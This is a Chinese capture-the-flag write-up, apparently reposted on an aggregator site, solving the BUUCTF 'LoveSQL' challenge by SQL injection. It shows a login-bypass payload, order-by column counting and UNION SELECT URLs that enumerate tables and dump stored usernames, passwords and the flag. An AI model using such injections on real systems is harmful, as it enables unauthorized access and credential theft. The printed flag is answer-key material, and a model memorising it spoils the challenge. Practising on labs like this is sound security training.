[极客大挑战 2019]LoveSQL 1(SQL注入)

Posted MangataTS

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[极客大挑战 2019]LoveSQL 1(SQL注入)相关的知识,希望对你有一定的参考价值。

一、SQL注入的流程

  • ①判断是否有注入点(判断是否未严格校验)
    • 可控参数的改变是否能影响页面的显示效果
    • 输入的 SQL 语句是否能报错(通过数据库的报错,我们能 猜测 数据库的查询语句是如何拼接的)
    • 输入的 SQL 语句能否不报错(其实就是检查我们的语句能否成功闭合)
  • ②什么类型的注入
  • ③语句是否能被恶意修改
  • ④是否能够成功执行
  • ⑤通过注入获取我们需要的数据

系统的一些信息,我们通过这些信息能够获取到其他表的信息:

select database();  #查看当前库名;

select table_name from information_schema.tables where table_schema=database()  ;  #查看当前库下的表名

select column_name from information_schema.columns where table_schema=database() and table_name='user';  #查询列名

二、实践


首先我们能看到这个页面,然后我们先使用万能密码登陆试试,我们会发现,当我们输入 " or 1=1# 会显示

但是输入' or 1=1# 的时候我们直接登陆了,说明存在单引号注入

然后我们通过手动二分的方式查询列数:

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=admin&password=1' order by 3%23

如果是找到比三大的数字的话,,例如 4 4 4


知道列数之后,我们直接联合查表就好啦

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1


然后我们查一下两个表分别有哪些列,看看flag可能在哪,对于第一个表geekuser
我们查出来有三列:

然后我们看第二张表,我们发现列是相同的:

然后我们查询第一张表的元素,我们发现只有一行信息

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from geekuser%23


同理查询第二张表,我们能得到如下信息:

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from l0ve1ysq1%23


我们 copy 下来能得到:

1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf

,稍微做一下格式处理可以得到:

1:cl4y:wo_tai_nan_le
2:glzjin:glzjin_wants_a_girlfriend
3:Z4cHAr7zCr:biao_ge_dddd_hm
4:0xC4m3l:linux_chuang_shi_ren
5:Ayrain:a_rua_rain
6:Akko:yan_shi_fu_de_mao_bo_he
7:fouc5:cl4y
8:fouc5:di_2_kuai_fu_ji
9:fouc5:di_3_kuai_fu_ji
10:fouc5:di_4_kuai_fu_ji
11:fouc5:di_5_kuai_fu_ji
12:fouc5:di_6_kuai_fu_ji
13:fouc5:di_7_kuai_fu_ji
14:fouc5:di_8_kuai_fu_ji
15:leixiao:Syc_san_da_hacker
16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf

这里我们就找到了 flaga2b45632-fcff-472c-8cee-90a7d432a0cf

以上是关于[极客大挑战 2019]LoveSQL 1(SQL注入)的主要内容,如果未能解决你的问题,请参考以下文章

[极客大挑战 2019]LoveSQL

CTF练习——[极客大挑战 2019]LoveSQL1

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

BUUCTF[极客大挑战2019]LoveSQL